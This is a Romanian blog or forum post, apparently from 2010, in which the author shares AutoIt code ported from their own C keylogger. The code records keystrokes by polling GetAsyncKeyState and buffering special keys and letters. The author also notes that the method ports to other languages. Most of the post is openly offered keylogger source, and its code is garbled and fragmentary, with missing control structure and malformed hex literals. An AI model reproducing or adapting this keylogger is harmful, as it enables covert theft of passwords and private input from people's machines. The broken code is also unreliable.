Ok am mai vazut ceva din codul meu care apare pe tot felul de website-uri dubioase , aceasta functie de autoit am portat-o din keylogerul meu scris in c dupa acest model se poate scrie in orice limbaj de programare care are abilitatea de a chema functii din api-ul windowsului precum c# , VB , VB.NET , c, c++ , MASM si orice altceva . ( Observatie: in masm este mai greu pentru ca nu avem o functie de transformare din integer in ascii se poate face cu atoi din msvcrt32.dll dar dupa cum spuneam e mai complicat )Asta este una din cele doua metode mai exista metoda cu setwindowshookex care este mult mai greu de implementat in limbajele scripting .Functia :
$KeyRet =
DllCall($dll ,
"int" ,
"GetAsyncKeyState" ,
"int" ,
$i ) if ($KeyRet[0] =
-32767 ) Then ;Special keys
if($i = 0x0D
) Then ; [-Enter-] $KeysBuffer=$KeysBuffer&"[-EnTeR-]";
$KeysBuffer=$KeysBuffer&Chr(0×20);
$KeysBuffer=$KeysBuffer&"[-EsCaPe-]";
$KeysBuffer=$KeysBuffer&"[-BackSpace-]";
;==> Special keys
; From Aa to Zz
$GetCaps =
DllCall($dll ,
"int" ,
"GetAsyncKeyState" ,
"int" , 0×14
) $GetShft =
DllCall($dll ,
"int" ,
"GetAsyncKeyState" ,
"int" , 0×10
) $KeysBuffer=$KeysBuffer&Chr($i);
$KeysBuffer=$KeysBuffer&Chr($i+32);
;==> From Aa to Zz
Aceasta functie nu da rateuri precum dau majoritatea keyloggerelor facute in autoit si inregistreaza corect toate caracterele .
La data de : February 13th, 2010 la ora 5:13 pm
Noxarethor, A scris :
Ca de obicei, useful shit! Thanks.